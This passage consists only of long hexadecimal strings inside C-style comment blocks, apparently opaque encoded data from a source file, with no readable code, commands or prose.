675bd04df1f98555c7089a788e15a47c2c3f595f69e9904b46623a0eacf3f7865af1b0547c894c8ffbc7d7d022d6047c6d7c0721f58281168b900cbcb3b415c465b015266aa686fd4a4a7332116b5127021752eedfd020cf3559d67dfa34849782d75e495d7bfe2510f541a6315fc30bbf7781b4d500ed90b94014b8fb9902346ddd6d329df24c6547e11b653a1617b9d1ccedd408fce6e3f2bfbd2631f238f9d2616433e4545c27cd87812be9a547c0be465cd9d734c577f8750ac9291a867227acd928deab11eeaedd7fc0c35e03c2a3c3a4896ed8d6c20b2bc4e331025f6aaddf2b1c5d036f2901b71510a75cb7df125b5c6e261cf8e1e5109b3a53ac482204c4c8bc2047c1c657870ab0ba39c58a6f4b07970c0b574becefdd6fbcb72c091c5ea80762a3f94d3718ef2e97395b19fd807691139c7bef7a56aba35185095b27ebf7d39c7870446fac00bd4ba17a4b91329dfd831bdcf4fb57ddc6d3f28401a35a9b659a06cbb66c2cc2e12a6a5c7aed657d26571082daaa20fe1d12b8bf98b9a3dae68dbedee9acff0fc2df41ae769a68cdb0ee6685c780be9bd67c2d238b82f93d30a883e2c8f95a2481e8b12617c0be74580b54651ba2c257721bac7a2b64e841ec6d29371fab977e2b3feb6187bcc9b1b74cd77c8dc642be85d60277395eca6a0c19756b9126d0c150b81d5c8f72780a41f557e4b2426b11da254bb69edbeef22b1fdc8235aa988c974c7b197d6beab3d26fc741d8ef7781cc21fcae181fc23b1b87a0a8b7f9592cb0bcf5333acb6f9aae96c229f8c17877f2f1ab77cfe4f28c554f9a54de43db408962c1c7e5bdbcdd0e280a0d3e2956c386d75fa59f70cdfd18c9de8d29810194ae4454623d46e92970ebb876de16724fcebb0ecc880fb623210e4c11edcdcd2cd0f88158e6b2607203feef929a3878ef31a985d30cebb28b88beefaf6211744693e8eaa9d563e3aef21946a88cb2c57e5277faa39de0359424ff3915d5a2526f70226cf29bad980f618a184e539c3d021b4f5820b5a14a4d6bd17099fded1286cefb369d1dbe38e806f66bf1241eff578083c724b8095f147a5b5e7a6562f4586e8ee41a84c46a3532b5a3fc8a06cb6b05407814b084a2efffeb08685da67d334a68fff365303431ec1e1050ee72cc66a8ca86915def870a5b5d9d74fd0cd13f993a9f7e83d5a62af6ef7d1de71c5dc75144a0dc862af6f85e12d217b8fa1bf1458781751c49e5c8d2bb8e2ab10869a5d3e709bbec517d36611a49fd642688ce2658b092f64dcfbee5126c5290f54331954c642f7c90684e3404c858f12970dd02915a11e93783f85ecbe2d15563cedca908aa7373e7c298c34427d4f12f7f3f6082a839f502fb82e28c4ce68601a3a644e907481fd5f725cd5aaa7ab13e63f02d3eba690c4e392e6e6abe141430ce86e763d4f349acc3296cf8664bb2cd4dfa6fa37cbcaa452106247846720e3cfe0c610593af591d8d916b12f292281e04029bc779c21a31b67ebcfd51560b4147c9a832ad389ec09cb6e016445ba145abc05f246a57fa860edcac7ff8f60fc5e06102ac4bc4e2bd872cab0568d84cbb3a1302f05bfdcc3c8e9c252a90254f84e3a2247f6b2339e3ce8ae7068fcb5c57405363e3bcfadd9f585a87d0d8393d93849d039ca984307705681711923bb023c4d9ba34e9d01cfa9eaff77e317b753b6c77edc5c5690a39c2da03c4a04f1aefbaa67d0ed2de0e8f817477cf451a360a571979321cb218e1880d4aa70016417b7d86157e19e2789fcd727c9234e6dab6d0ed0dab115ed83f489b1bc69411d55198092c33c92eefc4b663772ba2296ff38cd789a26bcca170d4b04e4b4a176bbb27a11b0bc7c850d919ff7d9bc2c5b4ce804cfa8dd1e3f5696cf68c6c99bee2a4a763faee885d9b6cb2f74b308fb9417fb4840f4550370733c4aff85b915df5dc2507fe976d745e87b7f8830aa776ce765c09892986d22115c6f7c15c6d1e48220eb78fcd5224a66b5db611292ca81be9f06f0e923082b21ddad8990e2eeb6fa095bab02222daf77be40c8a56a4837784b42d199694f1c07f42311befdd4d6b6d7ab584e947fa19c443accec5faf8*/
/*ae5e4499e13455a5e7c1e0924922a251baf80ba788ebc70f7e55a4b0f2ef80d6cee10520d841d2fe97959578d31f50892272be41dce484fbea48128af9961b7afa7e8aeb5e550c0852d5714ab4ce3420432768df65b1ae0584279db1c306385e790a2a902a8f3953df2503618e8f02d7b851055406ad89e0294be358357f8ec2f3394a6af7269e0df293fc45597369b5753170d349fc649ab379c82e197b97006a580005102967b16f1cdaa2ad8c01e70f7480cb90e392a7172b5bbe8424fcc0bde3869a9b9c26f40d9bc02c9f5666c2cc819657514faa4982a2c8700c38519787f3046e0d164e3c22dd918bc9721ef5c084b57794d401432891d8bcd26cd1bf78f812a9b43b4fa3ffbdeb706f325f1d47312ef359181b8bec0f26f7d8821f24e49968c62aa6fbb5174001b41db5122edcd137230a5f728a5442b34796188817dd0694fb4f24d02826b9aec5db829f1c4756e4d115cbc438766775e71db7d29b4630494f18052ce7250aeda9a963393d27af67c399a8f1c079832fec66ae11ec900f1bff67c52ac7581f036b677ac93cdc3a478c9658a609c2fc3dfae02f54ebeec57b59c6763c5480586d1d423397c139026e630914a58811caff59e575672584285fb768e4354520c2b4490b772f065515764749ef6d56d35b27f53ec00b4e6243ac29cfbeddca6d85bdfc898390c680685e7372e0e9460b3878fdb291912df9ab8e972ba160a19c5d69aa5a888deb199f37e05ac9ffb26ea89e7caf316bc194cf307d4b94353eb33e62b601ce5d0636253ccd73c63bc83778cde53b85ea16674d4cb117a23fd9b42c948217e54e51fe14d9cc41e8721a4ed0051ad92b6eb526a8bf513b64f83f0dd3fed351969c91a0b90b2a25aa10c0e8255848bb956c690600a79684c056ccc6a56dd07d0f524ab6c7c7299c4e3b39c1c41bec100028bff57bbb09963d53f057c583fd68850813b1301d0cce8e0251b9dd532bbb3d851cc523d4b2823d59671da4db43845e02191e2e69b1460304c5ee4650a51e8b73566e7a2b3b4f3afebb804c55f576c86f6d15c4b6e20e52019efa45cc908fb7d0bd2edc0abb324e500ebf04ec486b8fb608e68ae40597cf7364b2ffe4ea810ef6f207f1028a8b3aeeb339af2513a875cc4e8eb1fd1bba3e6671da10690ed34d1621095bf9a642723405d421c84918cb416e54e220366bab1a82604ecf1a2360953681a42864df4f13fb50b63caa6de403432a37865e9816842512fc8c568304cf87c84af74a367598e627a8190f328f988362ecbc08b4de91b9e1f2a253a867f2aa3dafb7aa2030c472c45a4fa4878243e7a51722683ca12f6cdee65d898d412ec8bbb5c6eca163405770a2549a3520ce52677aae6c6641de79f5ca3fb6b41a3206d1a4c21ee7414e5ae6cffa46b07bd4fd38555b7cde92dfae184f929c5165060f1e0f829155851a566994c7efa86a138210d333332331b4905f37a4d0bcd13308c5b6242d8648e969bd25e7fa9e28fe1bca6f82402ae3b7df331f0de850eaaba1b14227c31638e176a1dcc5593445305d56b9e0ac91dfc509555df48ba3cf5dd7520a71c943aa67a5548f6b981283207f2779997e5ee0e99cec0c96e2494e5dd0418ead9489bd8de73af2474821dba4cda168cd599eb11c0042feeba096e4e633740a5ccc9e847f930cbe1734c4e303d2a5fe8a0da1e939a9eaf40ce33a31a0555baa4736540d1967ef03d8b81a83d6b100cfcd2f55a1825483afc9e1509096d03dbd381a7c7f9be24013efdf39324794bb4cdd3dde849285b845843f56b21d7539cc732c49a175bc1f1db499a7eddd925d74ffe62aa280bb992ec10cbcbe3ded05386823dd749dbb6b2c12e29904d4c49b43fce689fc9de4f342572f6cdba9a2d1e398065616bd7fdc4aa435cca37483706c669b8fbf3f71c0f66e18f3d06e2e89eb4fd83baf39ed442b659d5d1fb829a02147f5f09edea8393a7b6d64d9e87198e7fd3c591d8ab14573e36907c31744a2fdec1ddc54bb4c146f27dc54d4b98324c7e78eb507ff26b0e153dfb2ca6292546538cfbcc73917ded1a02fbaec8d10b3612568a3f7a86155f2ee2e39855b2f09ac28297e146fa36ef3cfb0f1825b47f78ae973471c04e562874018c8b7232fb1f14f44cf4340e4ee0a52a515246cc540ff9815a859b67ab4e124b93e08126cddd626ec4187614646084ec7f73d9cee0bd13d1d95a71e39bdaa89aa5115a73347f16a6a804909afb41762083556c540dfef99bc94aafdd6acffa418e537e906779998e62cd314aa762021a0c33dd95622d392aa19fcc934c32ac2e70d93b40bd5bb23950071198e653a25cb2858e8b213938b5eb0343b60a87cffcf749d734559b00a8dacb0f4bea12169a2f866e675c44758415ac2346385151c3897bac7644197117ffde3c71ef8d6e4b43d320b868264310e4a37edaf2326d8efafec405ac237bcc02ba0e06e57d6b2c1a25d531328d3bcea56f1d655fd40b02f8b376ad02f54faf835afcc876498c9fbcfdd043963fe3b64f683f26a54c70217cb1e7f57a917b9aa3f96a882f784e8677e974e51bae79eaf27db14006544b336303926ec5f25d9d13613254524da37586da6a118df00e2dfac70ef5001897973e7748fd2485fbc8a415495ee60ceda528f9458e069dad02ca06eb14225eaeb76e86faefbd49b29f6a0ac86f4cff58f2432b0f33e6e4ebc7e0e1396cb9f1412ad6c4b984d7c7a184bc9c48f4f204bd711ac26ea35936418937afdde737bf64f4226f0b0744df08972636fcf88e2a8d7bd54f4af5efdf88ed909bf2943d24d553248df838e*/
/*e1925abf71694e75621255c8fe0a96e446d72b2640380b5e57b05b6a8304fdeae7c94d6950cc98ea4dd85bb79bb5375ba46c76dd3e56239808bb0faebdd6dcf18fc27580c115ed4e05678056d05e1bbf327e318557480018856ba63b237f98f4b52874a5a9e61dcb3ee5b30bbd5c2dc178f38f1706a8baad7c920eef6c66fc856d2671d4e81c4949abe730ee13eec3a2488d1f84b1c32c7d13f148c3304e3708ea0928a8bbed103c6839baf78dd0d616c3bba3a00c47e3778e6fb6e1c662f113b3901c0b8a7c4155e7f0cf2459674ffe42db72f4d96bcfccb575765a033ab804b14edff496e69715804e52d9d02aa01a5edb1d5713c5b35f76cae7fac01cc2ad0deb591604fc6365b227dd1f35b394ecc473d876febd5960f4307d5a05b7f337aac650b3eb0fe73a25f77647a9ce37fc815ea404d4d0608b2f079be2a2b5b6057148d8552b59213df84f58643f55e3b73fabb3af2d958c457c586a493e6953d9922c512d51a527e6a370a97fd3c785218efa6e30ddfa71474db8af1f225501feba4203f15679036edf83784bd5e4e1f9d30600475ff91928afd91d2bae30e358bc76568a57529f2ee9cb2bb18597801511bf7d08af7f5b1254c136aa98d4a69864206d00826b0de28064983553587c7dba0f90299fb20dec719dcd7ef267d63f29adcb38334ca403e3ff10347cf9e71973ed43f0be50e773eff2ab1bb449146921dab0be77d91c37d7ea35cd49b64417afcc79a5feb7cfba7c63e156fba65a6bb920df538127c039925d5d637eb25f8580a3183bd47bf680176d0203575686d0edfe1527419a443886f0d29af182235651897a12b374915918862a5a0f10365f273b912fc5104f595ffb2c16a5a91e1faa510eb4c6a035426f5c75d6893e4197f476df6d345e1e9075fb9d51333e55edfb0456775d1813a66f01cb9fc99da55a135adf0c57f727a22b5914645b1252cb79ea6856e0157c981f261d652a2c4f338aecea780e43dbac0ba95a140a7a751eed90d3752a6a52453863ff64296369e67ad1fe95bb9bd0879a4e639b4ff8425d439134b406e3d4edfb4689ff2b429b10b6e509e689a334e7e9f918d315b2416cb4af0623da12f0aac6c5e875862438cd70cee4a9ce50c7f4e91cdb8ed1d1e98294c4531897d4a729db6c3b56577f01af58f20db90a475351eebb35917f771784141c14886ba95e81d1b587c5cff0827527b280e2be6b5cad6e3ec2f857c59828105b9a02bffd511f62fda8b5f1182d6952216651516302efbd66db78e0fc68bdf31e43bfe102dc2c60cbb6b75e123098c50aaf107f71313ad4f191015c24ed5df769913330e0716061db4e5197abb4abd78d220b4645e00c358f6ed8c54a408b3a5d222b2b0d1df1fdacac547613f631e86e9da4a80a65025a1a6cb702cb00c5b74af0e8eedc7b49adf3b822088ba4500b39f368063c0b7237cbeeb15b0cd7fc6339394981d5adeaa3c1d6a99824bec13e473d1128f6992fda509451afd143cd04d65ecc281debff7f793e8b89c8aa0f54f03731b055643502439708edc2f3d25b975e143b57e402f6e3677a684a2a57cc63ce16cee7c6684b6da6a0a605dd353e27db5e4f34a7d1dca06777f22b0565343ed70af3d5a502beac0c0467dfe5342ad7659b8ae0d69bf50ef22a04b4c263f5f164990525e9dda3a882ec25c6bf22428589151e8cd4aab0f0b66f64b421573c46a9a829470a2b18690ebfa6bf376bf150191684f9980fe7612173395901a6f8b8c462343d89ff7a9024419111f2a702015b917a1a134a19c161eb9d95ac274f7abc480e8ad4f99fc9bb00633349dda64a5bb363dc228f1f3bedcfc2a449a93888e277d8ec50d6abfa7a47a3516c2894205ddc938b0008374c4c9a443504e1e0990dd44132cb38e640e54b6f6aab94f6b37b03b72ef5d761c74de4c5bfd8798d81cab32e654b96d576e6f119f9139f1f12a305aa386fc8b88666710994b0c3dfb4ef86f2b5182cdecf5bc35cbd3e96beba658c71f35f53cc15cb62004c0a036b736409c2c6b79c92624a6a36aff1123aef87705328b10b9fda0ee79410ea9b8508140110e9053764f2c00e3ad3fb0d2a489ba32815adf81279cab4888881437030f75a94132253994db450fab4921788c072fc8ad9c34d34e6d67c4c7db24069ba4eb68514dc109ecf6bdd6e49e856a958c58ed4031446d87c2806ede7afdb5f27c2651814b0fc5f03366684d00942e3a006fb6dd1496074875611f4db8a841adfcdeb495b447765bb9077134dddc224aa2b639ae9833df30665229f932e5ffc18bd5029a5013ca86a3d6fa60be78a3cdba18d133f442b03aba2159945ef4146a2251ad051757be11747ce2a5c880cc0e0c0a52cc5c16a1e22a948d7543bb013b6948079d9dcb87ebd7aa9a807023e467f3225bb8af370960a9995b7b62e19a0a3ae117fe53da0360a4b4d05ff018a6e5097c9503df772ef8421b7b9b094f43a3abf3d59aab466deed039bf37d8336108a0f550bae856ff350117d8b59568b2220f6be1dc6fa1092868b926ebb7ee4c3891cc0f2b63e18798587bd7ca4219c1b976e9cdeca8fca9d218211a34046cc2db511f5f8b7e7fbbd5392c8f12f8fcf675b8982997889ba82a905a9895241cb50859a5cb76708840d6e4f054ee46afb7ec46a860309f1642e5b650f614077ad9e38778100d74befafed74ed2082eaed68eb81f3da94ab8ea61e28596720f43719387e977decad843d275f53a16b402bc12ea146302642d7049e70f3a2f2a707928b0e72bba3f44fcb92d37d3674259d6df82dedbbc7d26cf9c637817acee87f*/
/*552d6a746f6a94b6f391fd3ab1d404e20c387ba885144ab90f68ca717cc50eec8ce29088656879efcb7d193342c747d1264eba63c150171bd830fea789584096309a37b0bc7acae3ba49f0d9a3308c3bad1a0ac9204788e4daca0c73f7dbc814d6c0ebaad550cdb4e349e012bf31b5b1de462ba1947fbbbf7fc5861361d0ceddc49f339adcd603f2535751aea2b153a4d65eddd792e032c610120d1189c12bf18064ca24c35e0a531950e1ef57ec39b48f0caad8986710eb57dcb69023480b3963e4dab0cb5b89274a3b81aa52edc0651f47e31335c09cbf64b7c4e245104628bf0c1865bc1c2e590ed91e4c1f1119f4cea6cf175aad3279df4f39026fec2f10a4c24d3c72ad445ad61701a3ad0b911511b9d66d97f38b24ef9aab991afc1d624e430696e52c1db183f28794c115fc44c50158eb46e056ba1e0a4637e76cfdd04ef80fcfe23657ee37b78c18c7975dc15b7b5aeff5c79bcb02d354bfc9b973a1e9bd78029a90cf5fb7a7965429e64fdd6e4bf1978bc105ee64b5ac26d31700651052a50cba054c5abe55ae9c69b4a9b7e49d0c3cd3aec6b8395b36cd10eddbf6de81d37dc094c8bae3767de94dcb50224a72ee807ae79945665141e43317727866b21ff2daafcc9b6c04b6f068f7a4411ae5d268cf9975f8a9dee58caacf0432b61ef302889aee24bed90f9ae4e4c003316f2f45341a01a7a6ff89fe694bbafca4671ef07d773d7ce5460b3246e7c1114c5b80b8aa517bad6f1657d0719beff059bd7a0f94839c599847074b1a46494df4c8dcd164a07a378966ae5607c88e97c104f75dd25e90ab769bfe2eb719057f8375772e21c0e456cfa1894dfef139e83aaaf5e63d601b525dd5d8bc9230679568f591f515a45ac03dae9c509c00d936ab7020c95ed3b3df2658ce9efe9ebbcbc4a177f604c2c7fe238742c86cfe22838af89fe77b2b253a3bde18f6406d94aa89b9cc08f64c5ee16b897fcf33f0965ed6c29b0dc2497e163506f5da88b4f77c7626c2b5775868c745e0340d329d82dad8c47c817338a9447a00d73218476640163f42582799ed9c9121e0e97cc5ba333bf0c969af89cd32909d3fced3755df5770ec00c40f51e915be6bdebeb82886cba63cad1200a9a1fd1b566feb12307df9031835d92487365f5ad6ee8ff55f73f9d49fe2c2236e8ddb279b64a1c79c582a9c9d0882624a8809ce61958e94de0299fea410222672e3f1b7daab055bc4b87ea3cfdec458ad189d1ac52ddbc238b16deabc33b9cc837e72efc05a8ecc9917bdaa6104cb47ec8c374c953ce411e66f25b50885b1afc52c36a6e83f171cbc19cbe2be5aceb09417b021e31cba1e2a5b80b03c3b8e767844af1b4719ebc05144b2d95b5a8762ac378c50da36fd8e88800625917d6cce679d334d88f103d630a5840626a0d32658c805c7a02070d889f6f8326cf6f76617882a59b28e728ef9a4b2e9eed6ee31af7001ec72b1802997525c78f75d45685f8615fd2f93edf0a0503fe4e993942b130f204a8176f2b2dae6085739ca505e8db7fcd3ca61f4475fe58b2d2f38bd78b0d0357c78a3695fd009808b057e42f7d578a3b62fe9402cc2fa28b583682aac9993c566c670b8e91257d0aefb76aaa16d1938cd3014c68322c36186b49078cb0ac7072abf70323be4e439bc90f5644e59c56f4814abe13e8e548a58fde570315163364a60309cca0de3a84853014c6ed71d2a90531bc3310449d3a24a9543d6ea268313de67ec56f97736b0b1a4a5a02b5f3484f5ab18027204e70e636d6cf60a11140ec811b86af13a39f65bae68e5fd9190d3126966a6311e59cdf974f7d30596475a07b79ab284403b43a2db6cddfaa64c6303f415d780f8617f732cd88556e765c24a3aa6165e39dc05705e46001472d7d2dd34996ca5815ae2b5b004c7b85ec0136f5b0ac44de0355797169a2d26885f636f03fb64803addb608984e444f6e12233ed1fb2a426f62af9f96470992b06d27088f476e9be6ce4b0fc08470e6126797b6a65a407d6f788d24b945617a27057426bc1176eeb922daa03a03a6ecf9d79193cd0cff0930f3a34455f711cd0ddbc5b0227294feb8340ae1576fbb644ba32814d09d086d3330455a5586102bb38831be1d5a39fe9c8a18022b14c3ea15a4b11f1d14084dade14540961a3c2cb8f088d12f123ab1466d345c66bf8512f81c119502a26083ccea38e3c99f942fa5f5b3f8b2c58f32dc921685ff9451866a85d42dbca03820223edcb25e18ee6c03db3c51259b97a9b932071f7fb08b8ddc3cad8feec00b1b9e1421966316843299baeb9ade5a72115011bc3c3e43a1a5c05bc871286ce8a4d0e6e2abd573dc516106c2de094c6afc612aa3009a430eac6f0bf6b3f2a170eac00e7c7fc035d72f5f2febc86a4a79a852cd0956598081b9c31a1b7568a10bf0b9533401a0410e6c9dc61b19a0e6ea19438dad2efb212d69c9de27ff6585963a0e96513123a20278fdfb01e0c375da931527f8d5365250b491b9080a685f4ea43652a1400a6449613ab488f915eb35bc6bc12d6bb2594bb183f5f42bd97c4e961000ffba6c87fcb7c10cbf59544cef4f6f675cf0501b08472209c5388107fb60cbaa92cdcbf1f1016ecac5ca33d7061683002757c73578a119a8654f93a41ba87b3f2f2bd9c72aef26c2318d9443ea68b80dd1a2b5e82adbdb072d4ad17409be6ee6f6d1cccde9f6c6e54f9a25f935f921bee2e813ec4d515e5ddc26283df4e8fd1fe54532c75301761a531fe640519884bbe11af1620ac0e294a09d359d8e1e1c5a6a6a34c7b8b6299b2bca0993897f2fd*/
/*dc7075b81fbd3f37bf2e2c5780fd9a63e1c9f7b672194086a6f54f4f939975dcca96f6c017cfa049a4ced25f424b7d54335901f4fe1dae6a7943f86e98ad8b84142d0d5336088d6f84a33f385a31e2d790c87322915d8cc37f01b40c26af86be89cda8b89e2bd187bf23aa09e6b16544452b6d4ce210cc57780b4b09f612c06106dbd9bbf307f1490198e5420ed0c37177e7c3cd0955308f9638bc1165b8045226c401a1d41bcfd8e8926f22acc7dd74631e5f2d4722007887c98c504b34adbb695a56abe8fd60befb33b33e926ca0b0167e3ccc07c883efbc0a11c9841945ce085e4b795dadbde7c30b3a2a0c0bc88fe49427e7031b248eda145e8f893ad37477e2a3e14784b923026a4cc2a8b2f858f88dc4545814f1afdf2db5d3a7702d4b11dc2a65a5152227d8e772fbe2867fcfe2b18c8b1ba5b6f5edda9bb183df93a58e0a2a05452f047bc74c0603fa169a4d2691ef6f41fb5b170e0dd67b877dedcc61ad912150a6c030e3f0bf07ec391bb8837eeec1b03e4dd3e79e35a6ca86bff76816984b1558ca2452959c78a313d8fed7c3a57d85d97f824f870f6376cf5e30a98162d8c8969086922ae2b5ef650f36b23889b09df5d2e67a2b33a9cb86e085b0a09f95f5ea4af2de1f47ab67284b7e8ce863c47603eca2406c7acf78138424acf9d774ee81ebcc8c89bee2f730a5b3c37948c356a441cad456834444d1a9e4716c91a228d4b0acec96408aa811b8ceb2a5adfbd7a2aa08665528774b0153a011b0172545fd782868949e7bab9e07653fa9f7ef7c069753e70847bc893f0ebd123a8d1106b4817b52f9e0edcd7f7651c4dae98ee4998cfc42f27703a2af1d3315c2c4639dc6184cfb6995429969c0143c2e7080bcf4ec3a91dacbfa7189950a559acc5c8ae826e336044e242c0a095e915b784b9902b4460643320cafde31a49e74ce708a6625576151a51888a015f6e672c4b129cfd07267bf6c770cdcf9e591db1f33b83278fa1eadba5d2b5f904149238ee7bb18db5e5d5527c5600be85afd547423c1c486696023c71b20412a34e628f3ccc67395f9b32b7f38dde59c3e4e87a74fa25f44538a6b3e0649f693e7daa5114c8b0cf6ac4ed1e51da07d5cfe9b651d37282201d3051d77ad5dd941c50e20a0d961f2b34b0c4b5fcbfa0a244e91f1724275db4265135505c9af1c3264dfe9fc0cedc1ac2d99d779c10d62f45b80ef5995c871f24d1cb8afd32cc628257d03b7007818b11e30544b4f929055cd37f9b4252a7386e7456a93665594bada49901127c9513ffe8cae283a8f7b914f1f1b7524a773a93fe14b4846404b7e061d2daf4b418d2dea74edd70fa5c7f30af7b5666e76e4707c89bea4cb3cc22fb4408da49e8cd7b8a8b674002d15b9c8e87030af61ece6778d62cd96e9ebfba20e2274cd9dd5cfb357153da07c7b68385db3ccca28cd5453371d2a5d149e314b1a3ec8fb64ca8aabef8a3fc5e6d27808352cacedd7c0f530d8c6f3cdd8cf9b7ae2f6534fd38865ce59cb58158a45cc685128c82937d653a4e867349de22a2237c325bbb67fbe0c5349448d6026e4015fdc83c65ba2302b1c74c20cc43a7ff0f80879895fc2103745307a5ded5f4d9321a47efa1f845c1445829d4b715b1118f646336ee930c1356ce9db37956873c3cc1752d935cf729af4a37177ca47424d1743eff27421c71518d8e490e596ce5ade4d79d329e172b1b1bd5369988f461ef6687c76dd317e832bc9a174a25f5d95a21924221ab1ae37dd001adb3a15a064f803423751a1c29eb953c7e9386659db516991106152253f9ebb47611c587e5506cd4b02f9d3170dbc7226949309bdc70156b3cd0e7d197dbc38e7fd98c26ec96ae5d207b59f9b9862e11593efb93072d68dca3e4cd6957612fdc6539e35b09aa560e819380d93d55b26e6ddbd3c18c4c3d10ac1a116be03ffea07a5d7662616114311c399d653f8a21892d093d2a1d6f5bbb35cfea409dedce317fdc5b15bb95167c4d7a8f31019804ae45365d18395946a3b1da2823db7822c4380a2ea27c56fade2acee771e1991bc507959566524352970d930d362f3df6640e86992b436631cc0ade40ec4b1469787774e26a506e210b561c7a7471e815c508813cd31eb9db44bed31cbf3520f674855f2e9aafa56e0c97613f1c1f6a51ac39b53355080622bea943799a9859b5d6b6bad87c2ee6403e8b0fce40c0168a28c38ee6dcb0b2e1f09f3acc47f0f6aabd06ed3e6c4db83d87595cbe2c332a02af2246df20b474482bd0a11f18222d9e7ff6d8c0b25e6dbc238068b266a6f7fd50582d8a301121f586bb83a77064f8009cbbff79e4dbb968f968960f905c413cdf40c4f7327b7df7de7d3fff243853df8894c4c687a4afc7065e574528e99b3ceeccb9a24d91039e06d1180ecb111fbd30c8f4e7df28fcb21d4953fff370fb78dbdedeb050f79830a42105654d985c3733aeed438f01a9ef4c5acba461ff65eb9ac04d32269cd334d8f6d251a14b60a0f1c163302a5ce020fcdb2beec1bdcccd16ee6c02def856f7c22b01ae72282ee75d75917c63e12f52d304fb758dec0fbcac281486eb4c98fb69870d7e5ebdca075b146e3216f67c43f5ad3c53405af9e466b959ad0cf73ff6d4dea3b74a9aa867b221b27d258472984e4ece2450629e2ceb3ce263a0959b64dbe1f3919722fefcece5453ef0d5a3f3eaf30cba82b4b48cf240068758b67c9dcc7bf8268986ee2f3608c001bbfd1c10e90750bb8c923a595ee7ec795e0d97d737a2573596aa45c89a2f6446b778f87939c6cabc9c9efc9c68b3eec46899d3372*/
/*c2f9303c09b2d365832e33c35540db4bcd349b3ba0d8e141ba866dfaaf338f751f14303ed9c032ca07fded724f267ebe9c9cc60b4504f2491f20359457a084b16e55a6d2536bc129d36e10218fb83e27468a0788e37760c507b9537818c78526b8158f7d0d86e34b016eebc319d289593f6ec018722a98d38f48fa8f912b4b0a687ddf2683bd61ce769d0102d70af1f2fa1db6be25ea5eae4d355dbd22eba864b15d91acd7df2484efd2c0f3c3674f7a2f28e5ce491c08bc4c936174c9a68a862b964b854c5ab575408a4db2c09aa0f893ee1eb9dd3d9bcbfa062185a073d67d29a717d24d35133c3098b7335aa0c925b6487c2e5b759daec024d86ee80e515fcddcf391503ca689def6e20d90a4c4c308fc958acd30437caaa72067bb44ddb007c3c733d9b9dc33894e189d5aff74809939977c7c54463a373b8a2c117a06d6ef9fdf27c7226e7db88c0523b7746e28ea811af4d951bcd897bfcddaaee9fb3066b49cc5b483b8fc2e309579a60fd992d7cd4fc708d791a153f201d335e7c12b4b77e0d6a776adb70aaec72c484484bb5feea199e8b7b49b3b2fffa903bea89565c0ae2a11914186b25b0ce31fbedd1020d6262d678156f021e54564eb6608a589b2ea6f3ef55ca024236e1a8c7840773949a476477ee769e06bb1f781e06923024f0cabbb41f416cb146769ee865d1c8c79a1010299238e789669002ff8b53bbc315d3461d045d5a62f845900a4cbf1559084855175beb5c9bba11c952f4889636e37591c5bf16f54feaae18b185433e35e237cceee20a28b11c98b53429a0b7612ce2258991d6aa75841f50d17ccf390707e7dd2dd0277cfbd2ac5d79d16ffca63a470047e9c899f4e5166d64af4fc5ea0c0ea2d8d895c871998d64ff02cbc6ac336cf733013b5d1599fd0d26d6f9262a2d5c386f9bfca6886bd4d4e36f5022ba52f9d42e6bc929fa179fedc2f93e04bd3bdebad4f400fa1bff7a493ce48358cad8ffe393c15cf9189a02e7361e8e9f1df24b3b1fed157a9b2368d74b648c4cac0c14a630dcdd44f41f68fb4e32619a13409516143def168e4578ade24f3b9788d165ad4a2d711c73420fce8eda401e4d0ea3731103e0f2a2ad4cd0663180659019263beb9e4457933265fc6e76f27ebe738f627a1f08ef313426412277c24f1ca41fdad18df2ab2cde2230ef705c1bb389a986708893a27ea1b5af23ec2fced4092753b9be78e26bfc01e86582a118f31941ea997430e959e43ef7f37b7b2bc64bc3823a412590d7106444b6cf8da8374aaa04f7610ee9f975aae75c28362cad0264684aa1e6b5b007688688144d3d9cb862bfe5ea3445b1c17645b779a8958049aba9772851e703141eb2d89fc04d7e26b94f3f40c079f00e40165aa9ca1f06c3d16b9c1b85ea74fddcc37c94e27cb73708d26c2258b85aa4ef6567400fd4250f6b461ff40564ccaa2ee4a573adda8781a2fe6a96e19314ed4e59ce7ba88798da4755f78a0b15421e9e668fbcae68c54b300e219d0410e324f1dee479b60b55312108f7a321023245eb2fef0eadffd26ec6d00a2f363c2d7d6deff6e08045fd13f64ecef84139c78fa9af33ed323cd92e86152af9c5b12cf87511de5b5ffb293f547aa83ccbbcf01e6bf1fb73023b0b960a738de6256712c3e0a9f863bf24ce80be2e5187521dd4317a9924e03956a88fd738437eabf86e3f6690b2ce3585bb770236bdf00d5ede1584e694005e19c04913e025229433e761af75131a79f7f8f86556a321fe42a9c014ac170aabb8ccdde40514f82f241f877c0dc3f4c6fb894ff4929dbdf3b1bb3f5fa775d2126368f5f54c9bef89fb332a476834b0da6f7de8770668a3933a69c6c8edbd82cb7ff6dd286fbaa2132ad27b92d84657bd736d70e2f0717b25c2741750dc81ea56ca0eb295bf0f4d399126225bfa655edd929c681d88e25e2d81f6d27f3b99ccc6ba9d49744064924c0e3b622a90766977a66ae9d30957bd92a825057a5979a90179f03624365b730ff507f588ff7c922657dec36fcbac9fbdff4a8a16089ceb0be29cef608cb3ea9875a35ebba6fd1805011d9768dbadcd950392f1895b4cd2e46aad8376eaeaf13c0cab64f1ddbaa86573ffa2e70171d07716b5b3174f9a1c3a9c8f855277adc2da6fc6b599635bbb3d7fcf974fc41e92617aa88206d3f5bd6b336323331906f1b2a79e66f779b4ac947ae4cd1e83f5e25d40c3ca4450a4115b796854839b563f214d4910b9929bfa2da83318c028eae766fffa0094928a78eb9be5fc161c048e8e86eaf1feedf6e5ccc6d69d5be85c574144a818c6492d434f4cd3112a6be4c7d988b700d63ab35f1254ae0eb637ce0ae8051e095e44cdc5fef264602c9edd66bed9efe90c3d09b75e712341a4b089dd08ad2eeedeb3a108c572a836a0315a5fe5bb30c4f56eaa0e6b6fbf9ee109f8bb9bd74e4ea6e9471cbe80fd701c120da5aab910696fd3a78b5dcb0e87380616aeca4c7ed5102afb03ce732ef776f62771d14ec31ade754ec10b4f047e3a9b7bedd9494d8e3d2e9082a59200808fac17df794bd7292e09a615612924138f60a6ce0bb69fa435437aba48bc86c8899328c7df7403a48580f4a45934f1c26662050e1fa201bcf6a7faa1d6bbac37cf9cdfb9b6befb4dabc8f9633dc9810c90b3613e762dac3de1958ed86b38b11001cbb55c89e15318453bb1576e031fa8b2d786c46e2ae99d3784b93dacc15558d8b90c41652e4bace81653f62ad2886d055d26bca6590d477a6079c82ff71ff5109d2ba88119fe93cacfd0dbf7fb13a64d43761181a823aff79b6ba5568*/
